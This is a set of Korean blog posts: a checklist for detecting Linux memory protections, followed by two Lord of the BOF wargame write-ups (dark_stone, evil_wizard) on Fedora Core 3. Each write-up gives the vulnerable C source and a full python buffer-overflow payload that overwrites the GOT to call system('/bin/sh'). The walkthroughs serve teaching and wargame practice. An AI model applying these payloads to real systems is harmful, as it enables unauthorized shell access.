1. SSP(Stack Smashing Protector)

__stack_chk_fail


2. NX

readelf -l ./vul

실행권한 확인



3. Dummy

gcc -v

2.96 이상부터 더미존재


4. Random Stack

cat /proc/sys/kernel/exex-shield-randomize

1 - O

2 - X


5.Random Library

cat /proc/self/maps


6. ASCII Armor

cat /proc/self/maps


'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03

/*

The Lord of the BOF : The Fellowship of the BOF 

- dark_stone

- Remote BOF on Fedora Core 3 

- hint : GOT overwriting again

- port : TCP 8888

*/


#include <stdio.h>


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main()

{

char buffer[256];

char saved_sfp[4];

int length; 

char temp[1024];


printf("dark_stone : how fresh meat you are!\n");

printf("you : ");

fflush(stdout);


// give me a food

fgets(temp, 1024, stdin);


// for disturbance RET sleding

length = strlen(temp);

   

// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, temp);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


// buffer cleaning 

memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);


printf("%s\n", buffer);

}


fgets 함수를 이용하여 temp에 입력하고 strcpy로 temp에 내용을 buffer에 복사한다.
그 후 sfp값을 복원하고, ret sled를 막기 위해 buffer+length ~ ff000000까지 클리어시킨다.

더 추가 된 부분은 fgets함수가 사용하는 임시버퍼영역(0xf6ffe000)을 클리어시켰다.


전에 풀었던 것과 비슷하게 아니 거의 똑같은거 같다.. 
pop_pop_ret의 특징을 이용해 strcpy를 연속적으로 사용함으로써 printf@got를 system@got로 overwriting 시키고
printf@plt 를 ret영역에 덮어씌워서 결국 system("/bin/sh")이 실행되게 하면 될 것 같다.


자세한 과정은 이전에 풀은 문제에 있기 때문에 간단하게만 쓰겠습니다.



필요한 주소

.bss : 0x08049868

system: 0x7507c0

c0 : 0x80483f4

07 : 0x8048364

75 : 0x80482b4

00 : 0x8048274


strcpy@plt : 0x08048438

printf@plt : 0x08048408

printf@got : 0x0804984c

ppr : 0x80484f3

/bin/sh : 0x833603





payload 구성

python -c 'print "A"*264+"BBBB"+"strcpy@plt"+"ppr주소"+".bss+0주소"+"system@got+0"+

"strcpy@plt"+"ppr주소"+".bss+1주소"+"system@got+1"+

"strcpy@plt"+"ppr주소"+".bss+2주소"+"system@got+2"+

"strcpy@plt"+"ppr주소"+".bss+3주소"+"system@got+3"+

"strcpy@plt"+"ppr주소"+"printf@got"+".bss+0주소"+

"printf@plt"+"BBBB"+"/bin/sh주소"



(python -c 'print "A"*264+"BBBB"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x68\x98\x04\x08"+"\xf4\x83\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x69\x98\x04\x08"+"\x64\x83\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6a\x98\x04\x08"+"\xb4\x82\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6b\x98\x04\x08"+"\x74\x82\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x4c\x98\x04\x08"+"\x68\x98\x04\x08"+"\x08\x84\x04\x08"+"BBBB"+"\x03\x36\x83\x00"';cat) | ./dark_stone







끝!



redhat lob에 비해 방어기법이 추가되어서 확실히 여러가지 어려운 부분도 있었고,

얻은 것도 많았던 것 같다. 




비밀번호



'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] cruel -> enigma  (0) 2015.11.29
[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22
[Fedora3] iron_golem -> dark_eyes  (0) 2015.11.20

/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3 

- hint : GOT overwriting

*/


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, argv[1]);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


printf("%s\n", buffer);

}



보면 입력값(argv[1])를 buffer에 strcpy함수를 이용하여 복사를 한다.
그 후 sfp를 복원해주고, buffer 주소 ~ buffer + length를 제외한 높은주소 부분을 0으로 클리어 한다.
이 부분으로 인해 ret sled를 막고자 한 것 같다.



힌트에서도 써있듯 GOT overwriting기법을 이용하면 될 것 같다.


소스코드를 보면 pop_pop_ret함수가 있는 것으로 보아 연속해서 함수 호출이 가능할 것 같다.
| buf | SFP | RET | &pop_pop_ret | 인자1 | 인자2 | RET` | &pop_pop_ret | 인자`1 | 인자`2 ... 

이런식의 연속해서 함수 호출을 말하는 것이다.



그러면 strcpy함수를 이용하여 printf@got 값을 system함수의 got로 변경시켜주고, /bin/sh을 실행시키면 쉘을 딸 수 있을 것 같다.


./evil_wizard `python -c 'print "A"*264+"BBBB"+ strcpy@plt + &ppr + "print@got[0]" + "system@got[0]"+

strcpy@plt + &ppr + "print@got[1]" + "system@got[1]"+

strcpy@plt + &ppr + "print@got[2]" + "system@got[2]"+

strcpy@plt + &ppr + "print@got[3]" + "system@got[3]" +

printf@plt + BBBB + /bin/sh주소




strcpy@plt 주소 : 0x8048494

ppr 주소 : 0x0804854f

print@got[0]주소 : 0x8049884, 0x8049885, 0x8049886, 0x8049887

system주소  : 0x7507c0

printf@plt : 0x08048424

c0 : 0x8048420

07 : 0x8048378

75 : 0x80482c8

00 : 0x80482f8

/bin/sh 0x833603

저기 system@got의 1바이트 주소들은 다음과 같이 구하면 된다.



c0 : 0x8048420



07 : 0x8048378



75 : 0x80482c8



00 : 0x80482f8



./evil_wizard "`python -c 'print "A"*264+"BBBB"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x84\x98\x04\x08"+"\x20\x84\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x85\x98\x04\x08"+"\x78\x83\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x86\x98\x04\x08"+"\xc8\x82\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x87\x98\x04\x08"+"\xf8\x82\x04\x08"+"\x24\x84\x04\x08"+"BBBB"+"\x03\x36\x83\x00"'`"








'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22
[Fedora3] iron_golem -> dark_eyes  (0) 2015.11.20
[Fedora3] gate -> iron_golem  (0) 2015.11.19

+ Recent posts